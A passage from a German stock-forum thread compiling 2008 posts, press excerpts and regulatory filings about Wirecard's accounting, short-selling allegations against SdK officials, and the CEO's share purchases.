      entsprechende Anfrage an den Vorstand hat die Bilanzpolizei bereits verschickt.
      Damals wie heute steht die Bilanzierung von immateriellem Vermögen im Fokus der
      Untersuchung. Wirecard hat hier nach Meinung von Experten 2005 und auch jetzt
      Bilanzpolitik betrieben – also den Jahresabschluss so beeinflusst, dass die
      Zahlen im Interesse des Unternehmens ausfallen. Aktuell untersuchen die
      DPR-Prüfer daneben aber auch die sogenannte Kapitalflussrechnung im
      Jahresabschluss. In einem Ranking, das das Institut für Wirtschaftsprüfung und
      das Handelsblatt im Juni unter Leitung des saarländisch en Bilanzprofessors
      Karlheinz Küting aufgestellt haben, schnitt Wirecard außerordentlich gut ab – dem
      Bilanzpolizei-Sprecher zufolge habe das Aufsehen erregt.
      Wirecard war für eine Stellungnahme nicht zu erreichen. Bisher hat das
      Unternehmen aber alle Anschuldigungen zurückgewiesen.



      Weitere Informationen zu den Vorabmeldungen im Internet unter wiwo.de/vorab
      Hat sich Ihre E-Mail-Adresse verändert? Dann schreiben Sie bitte an:
      presse@wiwo.de
      Kontakt zur Redaktion: 0211/887-2157


      Zitat von crude_facts: In der Form nicht.

      Mir ist es beispielsweise völlig unverständlich, wie man auf die Idee kommen kann, eine Bankbilanz/ -Guv/ -KFR mit allen Besonderheiten mit den anderen Geschäften zu vermischen. Und das dann mit Zwängen aus den IAS/ IFRS zu begründen, ist so abwegig, dass es einem Fachkundigen die Sprache verschlägt.

      Selbst die seit Jahren viel kritisierte MLP weist das Beankgeschäft in den Zahlenwerken separat aus. Und selbstverständlich legen die auch nach IFRS Rechnung.

      Ich habe es bereits mehrfach geschrieben. Der CFO solle bitte mal die entsprechenden IAS-Vorschriften benennen, die ihn daran hindern, z.B. die Forderungen oder Verbindlichkeiten aus dem Bankgeschäft in der Konzernbilanz, -GuV oder -Kapitalflussrechnung separat auszuweisen. Das ist mMn nicht mehr als ein hilfloser Rechtfertigungsversuch für eine gründlich daneben gegangene Kapitalmarkt-Kommunikationsstrategie.

      Wenn es für Fachleute - wenn überhaupt - schon kaum mehr nachvollziehbar ist, dann ist es das auch nicht für geübte Leser, geschweige denn für den Normalanleger. Mit true und fair view hat das dann nichts mehr zu tun.

      Wenn man sich nicht an die Transparenzanforderungen als Preis für eine stattliche Börsenbewertung und die Fungibilität seiner Aktien halten will, dann sollte man eben auf eine Börsennotierung verzichten und andere Finanzierungsquellen nutzen, dann kann man auch seine Bücher bis auf die obligatorischen Offenlegungspflichten nach §§ 325 ff. HGB weitgehend zuhalten. "Dusch mich, aber mach` mich nicht nass!" - Das geht nicht in diesem Segment.

      So jedenfalls beschwört man geradezu die Probleme herauf.

      Wollte man in Wirklichkeit - wie bereits beschrieben - eher "problembehaftete" Umsätze mit unproblematischen Erlösen und non-recurring issues mit nachhaltigen Cash- und Ergebnis-Bringern "poolen", um insgesamt hierauf eine höhere Bewertung für wachstumsdynamische, aber solide finanzierte börsennotierte Unternehmen zu bekommen, so hat man jetzt zumindest durch die nunmehr scheibchenweise offenbarten "Besonderheiten" geradewegs das Gegenteil erreicht. Wenn nicht doch noch ganz andere Dinge dahinter stecken.

      Aber die Wahrheit aus dem Geschäftsbericht herauszulesen, ist eben nicht möglich. Genau das ist ja das Problem, warum eben nicht nur ein paar short seller einen Teilerfolg erzielen konnten, sondern warum der Wert richtig durchsackte. Man kann die Sache nur glauben oder eben auch nicht. Eigenhändig errechnen oder verstehen kann man es mMn anhand der Rechnungslegung eben nicht.

      Deshalb ist es für mich für ein Urteil zu früh. Bevor ich es nicht wirklich durchdrungen habe...

      Persönliche Meinung von
      crude_facts


      Könnte von heute stammen
      Zitat von parkettbruder: Sicher gibt es hier eine reelle Chance auf eine Verdopplung auf 6-12 Monate. Dafür muß sich einfach rausstellen, dass an den Vorwürfen nichts dran ist.

      Aber es gibt auch die Möglichkeit- die für den einen gegen Null tendieren mag, für den anderen über 50% liegt - dass sich z.B. hinter dem immateriellen Vermögenswert eine deutlich überberwertete Position verbirgt, oder die erzielten Gewinne doch nicht so nachhaltig sind woie behauptet.


      Wirecard will mit der sogenannten Bilanzpolizei kooperieren. „Wir werden in den nächsten Tagen der DPR die Erlaubnis erteilen, bei uns zu prüfen“, sagte Wirecard-Sprecherin Iris Stöckl gegenüber wiwo.de. Die Anfrage der „Bilanzpolizisten“ hierzu sei eingetroffen. Die auf Initiative des Bundes hin gegründeten DPR benötigt die Zustimmung der entsprechenden Unternehmen, um deren interne Bilanzierungsunterlagen einsehen zu können.

      Auch wenn die „Bilanzpolizisten“ demnächst bei Wirecard aufmarschieren, bleibt das Unternehmen weiter bei seiner Ankündigung, eine der großen Wirtschaftsprüfungsgesellschaften den Jahresabschluss 2007 überprüfen zu lassen. Als Grund nannte die Sprecherin den Wunsch nach einem schnellen Ergebnis. Bei der DPR sei unklar, wie lange sich eine solche Untersuchung hinzieht.


      Ich hab noch was: Tobias Bosler war (ist?) Chefredakteur des Börsenmagazins "Der Börsendienst". Mit der Empfehlung von Nebenwerten wie edel music, Lintec oder Realtech wurden seit Gründung 2003 satte 235% Gewinn erzielt. Das Musterdepot reicht nur bis Januar 2007, aber wisst Ihr, welcher Wert hier in großem Umfang 2005 2x gekauft und erst Ende 2006 wieder verkauft wurde? Genau, die WIRECARD AG.


      Zitat von crude_facts: Doch:

      Der Geschäftsbericht ist definitiv intransparent. Selbst mit Hilfe aller Daten, die ich inzwischen aus dem Unternehmensregister in Deutschland, aus den Firmenbuch-Eintragungen in Österreich oder den Handelsregistern ind Gibraltar und Irland habe, komme ich der Sache nicht bei.

      Das Problem der mangelnden Transparenz haben inzwischen die meisten in den Fonds wohl auch erkannt, weil sie ohne "Nachfrage" beim Management keine Antwort auf die vielen Fragen, u.a. auch aus den Boards finden konnten.

      Inzwischen wurde Dank des Drucks aus den Fonds und der Analysten vieles offenbart, was vorher die meisten nicht mal ansatzweise gewusst haben dürften.

      Sonst wäre der Kurs nicht einem solchen Ausmaß auf Südkurs gegangen. Die Frage ist nur, ob die Erkenntnisse daraus auch für viele Fonds neue Bewertungsmaßstäbe hervorgebracht haben, so dass die (internen) Kursziele ggf. deutlich heruntergenommen wurden. Denn der Rückgang war sehr robust und kann nicht alleine mit short selling erklärt werden, sondern geht mMn mit Verlust von longies einher.

      Die Affäre SdK-Straub ist dabei hässliche Begleitmusik.


      Zitat von proShare: Ich vermisse Memyself und sein Alter Ego Cortado ebenfalls. Tatsächlich werden mir ihre inhaltlich meist wenig qualifizierten aber dafür mit köstlicher Polemik und unterhaltsamen Verschwörungstheorien gespickten nächtlichen Einwürfe zur Bilanz von Wirecard wirklich fehlen.
      Zum Glück tröstet mich der steigende Kurs meiner Wirecard-Aktien über diesen unglaublichen Verlust hinweg.


      Wirecard: Vorstand kauft Aktienpaket

      02.07.2008 - Wirecard-Chef Markus Braun hat am Mittwoch 50.000 Papiere des eigenen Unternehmens über die ihm zuzurechnende MB Beteiligungs GmbH erworben. Der Kauf erfolgte zum Kurs von 7,64 Euro, sodass der Kauf rund 0,38 Millionen Euro schwer ist. Braun war bereits zuvor mit 7,36 Prozent an Wirecard beteiligt. Der Kauf fällt mitten in die Schwächeperiode der Aktie, die aufgrund von Gerüchten ausgelöst wurde. Wirecard hat diese scharf dementiert und macht Shortseller für den Kursverfall und das Streuen der Gerüchte verantwortlich (wir berichteten).( mic )Quelle: 4 Investors

      bleibt natürlich die frage, warum sie zu kursen um 4 nicht weiter dazu gekauft haben....


      Fidelity Management & Research Company, Boston, Massachusetts, USA, hat uns gem. § 21 Abs. 1 WpHG mitgeteilt, dass ihr Stimmrechtsanteil an der Wirecard AG, Grasbrunn bei München, Deutschland, am 18. Juli 2008 die Schwelle von 5 % unterschritten hat und zu diesem Tag 4,14 % (3.369.100 Stimmrechte) beträgt. Diese 4,14 % (3.369.100 Stimmrechte) sind ihr nach § 22 Abs. 1 Satz 1 Nr. 6 WpHG zuzurechnen.

      FMR LLC, Boston, Massachusetts, USA, hat uns gem. § 21 Abs. 1 WpHG mitgeteilt, dass ihr Stimmrechtsanteil an der Wirecard AG, Grasbrunn bei München, Deutschland, am 18. Juli 2008 die Schwelle von 5 % unterschritten hat und zu diesem Tag 4,14 % (3.369.100 Stimmrechte) beträgt. Diese 4,14 % (3.369.100 Stimmrechte) sind ihr nach § 22 Abs. 1 Satz 1 Nr. 6 in Verbindung mit § 22 Abs. 1 Satz 2 WpHG zuzurechnen.

      Fidelity

      Zitat von Floripa: um auf dem online-glücksspiel-markt optimal und legal agieren zu können bedarf es besonders ausgefeilter konstruktionen

      denke wirecard war da sehr kreativ


      wer ist FLORIPA?

      ..

      Bezeichnung des Finanzinstruments: Aktie ISIN/WKN des Finanzinstruments: DE0007472060 Geschäftsart: Kauf Datum: 23.07.2008 Kurs/Preis: 11,00 Währung: EUR Stückzahl: 150000 Gesamtvolumen: 1650000 Ort: Xetra

      Zu veröffentlichende Erläuterung:

      Übernahme aufgrund einer unverbindlichen Absprache aus Juni 2008


      Zitat von crude_facts: In der Form nicht.

      Mir ist es beispielsweise völlig unverständlich, wie man auf die Idee kommen kann, eine Bankbilanz/ -Guv/ -KFR mit allen Besonderheiten mit den anderen Geschäften zu vermischen. Und das dann mit Zwängen aus den IAS/ IFRS zu begründen, ist so abwegig, dass es einem Fachkundigen die Sprache verschlägt.

      Selbst die seit Jahren viel kritisierte MLP weist das Beankgeschäft in den Zahlenwerken separat aus. Und selbstverständlich legen die auch nach IFRS Rechnung.

      Ich habe es bereits mehrfach geschrieben. Der CFO solle bitte mal die entsprechenden IAS-Vorschriften benennen, die ihn daran hindern, z.B. die Forderungen oder Verbindlichkeiten aus dem Bankgeschäft in der Konzernbilanz, -GuV oder -Kapitalflussrechnung separat auszuweisen. Das ist mMn nicht mehr als ein hilfloser Rechtfertigungsversuch für eine gründlich daneben gegangene Kapitalmarkt-Kommunikationsstrategie.

      Wenn es für Fachleute - wenn überhaupt - schon kaum mehr nachvollziehbar ist, dann ist es das auch nicht für geübte Leser, geschweige denn für den Normalanleger. Mit true und fair view hat das dann nichts mehr zu tun.

      Wenn man sich nicht an die Transparenzanforderungen als Preis für eine stattliche Börsenbewertung und die Fungibilität seiner Aktien halten will, dann sollte man eben auf eine Börsennotierung verzichten und andere Finanzierungsquellen nutzen, dann kann man auch seine Bücher bis auf die obligatorischen Offenlegungspflichten nach §§ 325 ff. HGB weitgehend zuhalten. "Dusch mich, aber mach` mich nicht nass!" - Das geht nicht in diesem Segment.

      So jedenfalls beschwört man geradezu die Probleme herauf.

      Wollte man in Wirklichkeit - wie bereits beschrieben - eher "problembehaftete" Umsätze mit unproblematischen Erlösen und non-recurring issues mit nachhaltigen Cash- und Ergebnis-Bringern "poolen", um insgesamt hierauf eine höhere Bewertung für wachstumsdynamische, aber solide finanzierte börsennotierte Unternehmen zu bekommen, so hat man jetzt zumindest durch die nunmehr scheibchenweise offenbarten "Besonderheiten" geradewegs das Gegenteil erreicht. Wenn nicht doch noch ganz andere Dinge dahinter stecken.

      Aber die Wahrheit aus dem Geschäftsbericht herauszulesen, ist eben nicht möglich. Genau das ist ja das Problem, warum eben nicht nur ein paar short seller einen Teilerfolg erzielen konnten, sondern warum der Wert richtig durchsackte. Man kann die Sache nur glauben oder eben auch nicht. Eigenhändig errechnen oder verstehen kann man es mMn anhand der Rechnungslegung eben nicht.

      Deshalb ist es für mich für ein Urteil zu früh. Bevor ich es nicht wirklich durchdrungen habe...

      Persönliche Meinung von
      crude_facts



      Zitat von corbie: Aus der Erklärung vom 23.07.08 der SdK zum Rücktritt von Markus Straub:

      ... Die SdK dankt Herrn Straub für seine langjährigen Verdienste. Er hat während seiner Tätigkeit die Arbeit der SdK maßgeblich mitgeprägt. ... :confused: :rolleyes: :rolleyes: :rolleyes: :mad:
      http://sdk.org/pressemitteilung.php?action=detail&pmID=484&r…


      Alle anderen Beiträge und Stellungnahmen im Fall Wirecard sind verschwunden, auch die von der Wirecard entworfene "Vereinbarung", bei der ich mich immer noch frage, zu welchem Zweck sie gedacht war: zur aussergerichtlichen Einigung oder zur Erpressung?

      Ebenso frage ich mich, weshalb die SdK diese "Vereinbarung" überhaupt veröffentlicht (18.07.08) hatte, denn hier waren detaillierte Informationen über die Short-Geschäfte der Herren Straub und Bosler zu lesen.

      Ist der SdK nicht aufgefallen, dass sie sich damit ins eigene Fleisch schneiden? Oder stand womöglich der Rücktritt von Straub zu diesem Zeitpunkt schon fest?

      Welcher Interessensgruppe wollten sie mit der Veröffentlichung dieser dubiosen "Vereinbarung" imponieren? :mad: :mad: :mad:

      Jede Wurst hat zwei Enden.
      Oder doch nur eine?!!!

      (vom 25.7.08)
      1 Antwort
      Avatar
      schrieb am 30.04.16 22:55:10
      Beitrag Nr. 75 ()
      25.07.2008 12:26
      Directors'-Dealings-Mitteilung übermittelt durch die DGAP. Für den Inhalt der Mitteilung ist der Mitteilungspflichtige verantwortlich. -------------------------------------------------------------------- ----------
      Bezeichnung des Finanzinstruments: Aktie ISIN/WKN des Finanzinstruments: DE0007472060 Geschäftsart: Kauf Datum: 23.07.2008 Kurs/Preis: 11,00 Währung: EUR Stückzahl: 150000 Gesamtvolumen: 1650000 Ort: Xetra

      Zu veröffentlichende Erläuterung:
      Übernahme aufgrund einer unverbindlichen Absprache aus Juni 2008
      AXC0097 2008-07-25/12:25


      Habe ich das jetzt richtig verstanden ? Braun hat zum Kurs von 11 Euro eingekauft ??

      Tageshoch auf XETRA am 23.07.08 waren 6,07 € !!

      zuvor
      02.07.2008 - Wirecard-Chef Markus Braun hat am Mittwoch 50.000 Papiere des eigenen Unternehmens über die ihm zuzurechnende MB Beteiligungs GmbH erworben. Der Kauf erfolgte zum Kurs von 7,64 Euro, sodass der Kauf rund 0,38 Millionen Euro schwer ist. Braun war bereits zuvor mit 7,36 Prozent an Wirecard beteiligt.


      esherrschte Unklarheit, wie das überhaupt gegangen sein könnte

      Zitat von Klappe: 24.06.08
      ... Der bisherige Aufsichtsratsvorsitzende Klaus Rehnig
      hatte sein Amt als Mitglied des Aufsichtsrats mit Wirkung zum Ende der heutigen Hauptversammlung der Gesellschaft niedergelegt...

      Bestimmt hat der Braun dem Rehnig am 25. Juni versprochen, dass er ihm binnen 4 Wochen die Aktien zu 11,00 Euro abnimmt, wenn er nicht gleich Liquidiert.

      Da er den Wert der Aktie (lt. WestLB 11,63Euro) kennt, hat er damit kein Problem.

      Wie das technisch abläuft, weiss ich nicht, aber Xetra kann mehr als zuteilen. Vielleicht gibt es auch im Eingabefeld für Börsenplatz nur Börsenplätze, deshalb hat man - weil es ein Pflichtfeld ist - einfach Xetra gewählt. Bestimmtkann uns einer der Experten hier das erklären .... wäre doch mal was für den mod, oder?


      Naja wenn Braun 11 Euro pro Aktie gezahlt hat, so glaube ich das dies der realistische Kurs sein wird, sobald die Unstimmigkeiten ausgeräumt sind. Braun dürfte es wohl am besten wissen. Zumindest dürfte der faire Wert um die 11 Euro liegen, ansonsten bezahlt Braun das nicht.


      Zitat von Floripa: Wenn wirklich grundsätzlich der Wurm in dem Unternehmen wäre,
      keine bange, da ist kein "grundsätzlicher wurm" drin
      eher ne kluge ausgeklügelte konstruktion, die man nich so ohne weiteres "hinausposaunen" möchte


      BEI SDK WURDEN ALLE HINWEISE AUF WIRECARD GELÖSCHT


      25.07.2008 17:28
      Wirecard-Chef kauft 150.000 Aktien
      Grasbrunn (BoerseGo.de) - Die MB Beteiligungsgesellschaft mbH hat 1,65 Millionen Euro in die zuletzt in die Schlagzeilen geratene Wirecard AG (News/Aktienkurs) investiert. Wie das Unternehmen am Freitag mitteilte, habe die Firma des Vorstandsvorsitzenden Dr. Markus Braun, insgesamt 150.000 Aktien zu einem Kurs von 11,00 Euro erworben. Bereits im Juni waren zwischen der MB Beteiligungsgesellschaft und Vertretern der Wirecard AG unverbindliche Absprachen über den Erwerb eines größeren Aktienpakets getroffen worden, wobei der damalige Kurs von 11,00 Euro zugrunde gelegt wurde.

      Nach Angaben des Unternehmens hält die MB Beteiligungsgesellschaft mbH einen Anteil an Wirecard in Höhe von 7,36 Prozent.
      (© BörseGo AG 2007 - http://www.boerse-go.de, Autor: Gansneder Thomas, Redakteur)


      ?????
      Er legte 5€ pro Aktie drauf, also 750.000 Euro
      Gab es da nicht mal einen Kredit an MB? in wechem Jahr war das?


      Zitat von crude_facts: In der Tat sucht man im WDI-Geschäftsbericht 2007 vergebblich nach eindeutigen Hinweisen auf das Online-Gambling-Geschäft.

      Wenn man den auf der Website veröffentlichten Fragenkatalog vom 30.06.2008 hinzunimmt, dann sieht man erstmals, dass sich die Gambling-Erlöse hinter "digitale Güter" verbergen. Genau genommen bestehen demnach rd. 2/3 des Transaktionsvolumens "digitale Güter" aus diesen Online-Gambling-Geschäften. Anders als eine Absolut-%-Angabe kann man den Klammerzusatz mangels eines "davon"-Vermerkes eigentlich nicht interpretieren. Also 20-25% des gesamten Transaktionsvolumens.

      Und noch eine Feinheit im Wording fällt auf:

      "10. Wie unterteilen sich die Kunden der Wirecard AG?
      Unter Berücksichtigung aller Akquisitionen verteilt sich der Anteil des Transaktionsvolumens unserer Händlerbeziehungen aktuell wie folgt (es handelt sich um Durchschnittswerte, die saisonalen Schwankungen unterworfen sind):
      45 % Konsumgüter
      35 % digitale Güter (ca. 20-25% Online Gambling)
      20 % Airline/Travel"


      Die Bezugsgröße lautet "Anteil des Transaktionsvolumens unserer Händlerbeziehungen". Mit anderen Worten: Die gewählte Bezugsgröße scheint ein reines Mengengerüst, also nicht mit Preisen für die Abwicklung bewertet (Wertgerüst), zu sein.

      Über die (Vergleichs-)Preisstellung wird eigentlich nichts gesagt, so dass man mMn eben nicht daraus auf den wirklichen Umsatzanteil schließen kann.

      Denn wenn die Preisstellung im Gambling-Bereich für die Abwicklung angesichts der "Besonderheiten" deutlich über dem anderer Bereiche liegt, dann dürfte ein rein mengenbezogenes Transaktionsvolumen von 20%-25% mit einem deutlich höheren Anteil am mit Transaktionspreisen (Abwicklung) bewerteten Volumen (Erlöse) bzw. entsprechend überproportionalen Ergebnisanteilen einhergehen.

      Die Fragen sind also:

      Handelt es sich bei dem auffallend feinen Wording tatsächlich um reine mengenbezogene, nicht mit Preisen bewertete Angaben? Oder verstehe ich das nur falsch?

      Ist deshalb der Anteil der mit Preisen bewerteten Transaktionsvolumina betreffend Online-Gambling-Geschäfte (Umsatz-/ Erlösanteile) tatsächlich größer als 20-25%?

      Beträgt der Ergebnisanteil der Online-Gambling-Geschäfte damit mehr als 20%-25% des ausgewiesenen Betriebsergebnisses (EBIT)?

      Aufgrund der Segmentgestaltung/ -berichterstattung lassen sich diese Angaben nicht dem Geschäftsbericht entnehmen.

      Die Fragestellungen sollten angesichts der Tatsache, dass die Journalisten aus den genannten Angaben "Anteil des Transaktionsvolumens unserer Händlerbeziehungen" für den Gambling Umsatz- und Ergebnisanteil in ihrer Berichterstattung eben auf die gleichen Werte geschlossen haben, legitim und doch einfach vom Management zu beantworten sein, oder?

      Oder kann jemand anderes weiterhelfen?

      Meint und fragt sich
      crude_facts


      Zitat von Quantin_jai_kwa: Datum Name Stellung Art Anzahl Kurs Volumen Erläuterung
      23.07.2008 MB Beteiligungsgesellschaft mbH J K 150.000 11,00 1.650.000
      02.07.2008 MB Beteiligungsgesellschaft mbH J K 50.000 7,64 382.200
      04.01.2006 MB Beteiligungsgesellschaft mbH J SBE 2.490.001 0,00 0 Bestandserhöhung durch Anteilstausch
      05.09.2005 MB Beteiligungsgesellschaft mbH J K 2.301.796 1,80 4.143.233
      Die MB Beteiligungsgesellschaft mbH steht in enger Beziehung zum Vorstand Markus Braun

      Das heißt die haben jetzt für insgesamt 2.501.796 Aktien zusammen 6.175.433 € gezahlt. Durschnittskurs 2,46.. €


      26.7.
      Anerkennung in der Öffentlichkeit gibt es meist keine. Obwohl die SdK mehr als achtbare Erfolge vorzuweisen hat. Zum Beispiel als der Kabelnetzbetreiber Primacom seine Aktionäre bei der eigenen Übernahme mit 25 Cent je Aktie quasi enteignen wollte und die SdK erfolgreich intervenierte. Auch hier kämpfte Straub an vorderster Front für die Primacom-Aktionäre. Heute notiert die Aktie wieder bei knapp neun Euro

      und das arme Sträubchen hat gekämpft wie ein Löwe, das alles für Gottes Lohn

      PRIMACOM !!! klären


      Vorerst jüngstes Beispiel von Short Selling.
      --> eine Bank gab vor kurzem ihr Statement zu Air Berlin ab, welches lautet " Air Berlin verkaufen und ihr Kursziel war sage und schreibe 0€". Nicht etwa 1 oder 2€, immerhin hat die gleiche Bank noch vor einiger Zeit Air Berlin mit 5,..€ bewertet!!!!!!:eek:
      Jetzt kommt aber der Hammer!!!:look: Diese Bank hatte sich zuvor aber mit Short Selling Aktien eingedeckt, also auf fallende Kurse gesetzt. Ist ja auch kein Wunder bei einer Kursvorgabe von 0€. Dies nennt Herr Brack Marktbereinigung, wo hunderte Millionen von Kapital einer Firma innerhalb von Stunden vernichtet wird. Das nenne ich Betrug an die Firma + Anleger!!!:(
      ES gibt aber noch weitere eispiele von einigen Banken, die in letzter Zeit so vorgehen.

      ???
      was war das
      ???
      Dresdner Kleinwort

      Berlin (aktiencheck.de AG) - Die Fluglinie Air Berlin plc (ISIN GB00B128C026/ WKN AB1000) hat einem Pressebericht zufolge die Börsenaufsicht BaFin um Untersuchung einer möglichen Marktmanipulation und von Insidergeschäften durch die Dresdner Bank gebeten.

      Laut einem Bericht der "WirtschaftsWoche" vom Freitag behält sich der im SDAX notierte Luftfahrtkonzern nach Aussage eines Sprechers auch zivilrechtliche Schritte gegen die zum Allfinanzkonzern Allianz SE (ISIN DE0008404005/ WKN 840400) gehörende Tochter vor. Hintergrund ist eine am 17. Juli dieses Jahres publizierte Analyse der Dresdner Bank, in der für die Aktie von Air Berlin ein Kursziel von null Euro genannt wurde. Kurz davor und danach habe die Dresdner Bank in großem Stil mit Air Berlin-Aktien gehandelt, so der Vorwurf der Fluglinie.

      "So ein Bericht ist hochgradig geschäftsschädigend. Und es ist schon erstaunlich, dass die Bank nach diesem Analystenbericht an der Börse als größter Händler auftritt - mit 50 Prozent und mehr des Tagesvolumens", sagte Air Berlin-Chef Joachim Hunold der "WirtschaftsWoche". Im Brief an die BaFin sieht Hunold "das Verhalten der Dresdner Bank AG und ihrer Tochtergesellschaften in mehrfacher Hinsicht aufsichtsrechtlich und möglicherweise auch strafrechtlich relevant" an. Zum einen könne es zu verbotenen Insider-Geschäften gekommen sein: "Die Kursbewegungen im Umfeld der Veröffentlichung des Berichts waren von Anfang an auffällig." Zum anderen hätten die Analysten der Bank ihre Sorgfaltspflichten verletzt, denn der Bericht sei "an zahlreichen Stellen falsch, missverständlich und falsch gewichtet. Sowohl dem Kapitalmarkt als auch der Air Berlin plc als Emittentin ist dadurch schwerer Schaden zugefügt worden."

      Air Berlin hatte der Dresdner Bank bis heute Morgen in einem Ultimatum Zeit für eine Stellungnahme gegeben. Die Bank habe allerdings "nicht befriedigend" geantwortet, sagte ein Air Berlin-Sprecher. Daher sei die BaFin um Untersuchung gebeten worden. Der Vorstand der Dresdner Bank habe lediglich "einen Vermerk der Dresdner Kleinwort Securities Ltd. übersandt, in welchem diese den Bericht vollumfänglich verteidigt und an ihm festhält", heißt es im Schreiben von Air Berlin an die BaFin, das dem Wirtschaftsmagazin vorliegt.


      Zitat von Floripa: wir sollten wirecard dankbar sein, dass wie auch immer erkundet,
      endlich jemand den mut gefunden hat den manipulationen
      weiter kreise, auch in der bankenlandschaft, die zähne zuzeigen


      denke ohne wirecard hätte man nie den mut aufgebracht diese
      äusserst fragwürdigen praktiken auch in deutschland auf den prüfstand
      zu stellen

      in den usa wurde gehandelt und zwar aus der not heraus

      ???


      Wirecard: Kapitalerhöhung aus Gesellschaftsmitteln, Wechsel im Aufsichtsrat


      Grasbrunn (aktiencheck.de AG) - Die Hauptversammlung der Wirecard AG (ISIN DE0007472060/ WKN 747206) hat am Dienstag beschlossen, das Grundkapital aus Gesellschaftsmitteln von 81.431.868,00 Euro um 20.357.967,00 Euro auf 101.789.835,00 Euro durch Umwandlung eines Teilbetrages von 20.357.967,00 Euro der in der Bilanz zum 31. Dezember 2007 ausgewiesenen Kapitalrücklage in Grundkapital zu erhöhen.

      Die Kapitalerhöhung erfolgt durch Ausgabe von 20.357.967 neuen auf den Inhaber lautenden Stückaktien an die Wirecard-Aktionäre. Die neuen Aktien stehen den Aktionären im Verhältnis 4:1 zu, so dass auf vier bestehende Stückaktien eine neue Stückaktie entfällt. Die neuen Aktien sind ab dem 01.01.2008 gewinnberechtigt. Nach erfolgter Eintragung dieser Kapitalmaßnahme in das zuständige Handelsregister wird der Vorstand unverzüglich alle weiteren Maßnahmen in die Wege leiten, damit den Aktionären auf der Grundlage ihres dann bestehenden Depotbestandes die auf sie entfallende Stückzahl von neuen Aktien gutgeschrieben wird.

      Des Weiteren wurde Wulf Matthias heute von der Hauptversammlung zum Mitglied des Aufsichtsrates und in der anschließenden konstituierenden Sitzung des Aufsichtsrates zu dessen Vorsitzenden gewählt. Der bisherige Aufsichtsratsvorsitzende Klaus Rehnig hatte sein Amt als Mitglied des Aufsichtsrats mit Wirkung zum Ende der heutigen Hauptversammlung niedergelegt.


      Die Wirecard-Aktie notiert derzeit in Frankfurt bei 11,00 Euro (-1,35 Prozent). (24.06.2008/ac/n/t)


      "... Als weiterer Grund läßt sich die Absicht erhöhter Ausschüttungen bei gleichem Dividendensatz ausmachen. Da nämlich das Grundkapital Bezugsgröße der Dividendenzahlungen ist, führt eine Erhöhung dieser Größe auch bei einem optischen Dividendengleichschritt zu vermehrten Ausschüttungen an die Aktionäre."

      Das gehörte wahrscheinlich zum Deal bzgl. der 150.000 Aktien zu 11,00 Euro. ... war ja alles zum selben zeitpunkt vereinbart, oder?


      Zitat von kraftfutter: Wirecard verdient gar kein Geld.
      Die Bilanz und GuV sind ein Luegengebäude.
      Der Finanzvorstand ist ein Mann ohne Qualifikation (s. Werdegang auf der wirecard homepage).
      Der Vorstandsvorsitzende handelt wie jemand aus der Schattenwirtschaft.
      Die eigene sehr kleine wirecard Bank hilft bei Manipulationen.
      Genau das denkt meiner Meinung nach die sdk, darf es aber nicht schreiben, wegen der Anwaelte usw.
      Ob es stimmt, wissen wir in ein paar Monaten.
      ------------
      Das andere Szenario:
      Die sdk beschuldigt ehrenwerte Unternehmer.
      Mit dem Rufmord wird durch shorten Geld verdient.
      Die sdk Vorstaende sind gar keine Wirtschaftspruefer, sondern haben ihre Diplome auf dem Farbkopierer erstellt.
      Ob es stimmt ?



      Zitat von JeffJeff: Frick hats jetzt auch erwischt. Lest mal die Börse Online von letzter Woche.
      :cool:


      Ein Fondsmanager wurde vom Dienst freigestellt. Laut Strafanzeige soll er seit Mai in etlichen E-Mails an institutionelle Anleger Stimmung gegen Wirecard gemacht und, ähnlich wie der SdK, vor den angeblichen Bilanzproblemen gewarnt haben. Zugleich soll er im Hedge-Fonds SOAR (Sal. Oppenheim Absolute Return) ebenfalls auf fallende Kurse gesetzt und damit kräftige Gewinne kassiert haben.


      29.7.08 interessant, aber zu viel zu kopieren

      News - 30.07.08 18:34

      DGAP-Stimmrechte: Wirecard AG (deutsch)

      Wirecard AG: Veröffentlichung gemäß § 26 Abs.
      1 WpHG mit dem Ziel der europaweiten Verbreitung
      Wirecard AG / Veröffentlichung einer Mitteilung nach § 21 Abs. 1 WpHG (Aktie)
      30.07.2008
      Veröffentlichung einer Stimmrechtsmitteilung, übermittelt durch die DGAP - ein Unternehmen der EquityStory AG.
      Für den Inhalt der Mitteilung ist der Emittent verantwortlich. ---------------------------------------------------------------------------
      Wasatch Advisors, Inc., Salt Lake City, Utah, USA, hat uns gem. § 21 Abs. 1 WpHG mitgeteilt, dass ihr Stimmrechtsanteil an der Wirecard AG, Grasbrunn b. München, Deutschland, am 22. Juli 2008 die Schwelle von 3 % unterschritten hat und zu diesem Tag 2,44 % (1.985.770 Stimmrechte) beträgt. Diese 2,44 % (1.985.770 Stimmrechte) sind ihr nach § 22 Abs. 1 Satz 1 Nr. 6 WpHG zuzurechnen.
      Wasatch Funds, Inc., Salt Lake City, Utah, USA, hat uns gem. § 21 Abs. 1 WpHG mitgeteilt, dass ihr Stimmrechtsanteil an der Wirecard AG, Grasbrunn b. München, Deutschland, am 22. Juli 2008 die Schwelle von 3 % unterschritten hat und zu diesem Tag 2,44 % (1.985.770 Stimmrechte) beträgt. Diese 2,44 % (1.985.770 Stimmrechte) sind ihr nach § 22 Abs. 1 Satz 1 Nr. 6 WpHG zuzurechnen.
      WA Holdings, Inc., Salt Lake City, Utah, USA, hat uns gem. § 21 Abs. 1 WpHG mitgeteilt, dass ihr Stimmrechtsanteil an der Wirecard AG, Grasbrunn b. München, Deutschland, am 22. Juli 2008 die Schwelle von 3 % unterschritten hat und zu diesem Tag 2,44 % (1.985.770 Stimmrechte) beträgt. Diese 2,44 % (1.985.770 Stimmrechte) sind ihr nach § 22 Abs. 1 Satz 1 Nr. 6 in Verbindung mit § 22 Abs. 1 Satz 2 WpHG zuzurechnen.
      30.07.2008 Finanznachrichten übermittelt durch die DGAP
      --------------------------------------------------------------------------- Sprache: Deutsch Emittent: Wirecard AG Bretonischer Ring 4 85630 Grasbrunn b. München Deutschland Internet: www.wirecard.com Ende der Mitteilung DGAP News-Service ---------------------------------------------------------------------------

      Quelle: dpa-AFX


      WASATCH??? checken!!!

      Anfang August: jede Menge Löschungen


      5.8.08 Diskussion um hohe Vergütung für Aufsichtsräte

      Zitat von Floripa: Hmm, ich glaube meine Grundrechenkünste lassen heute schwer zu wünschen übrig... genauso wie die von Floripa - jetzt sollten wir es aber haben: 291.000 Euro.
      So oder so für die Leistung, die der Aufsichtsrat bringt m.E. zu viel.
      Grüße K1


      5.8.08 E&Y prüfen
      05.08.2008 , 17:51 Uhr
      Bilanzierung

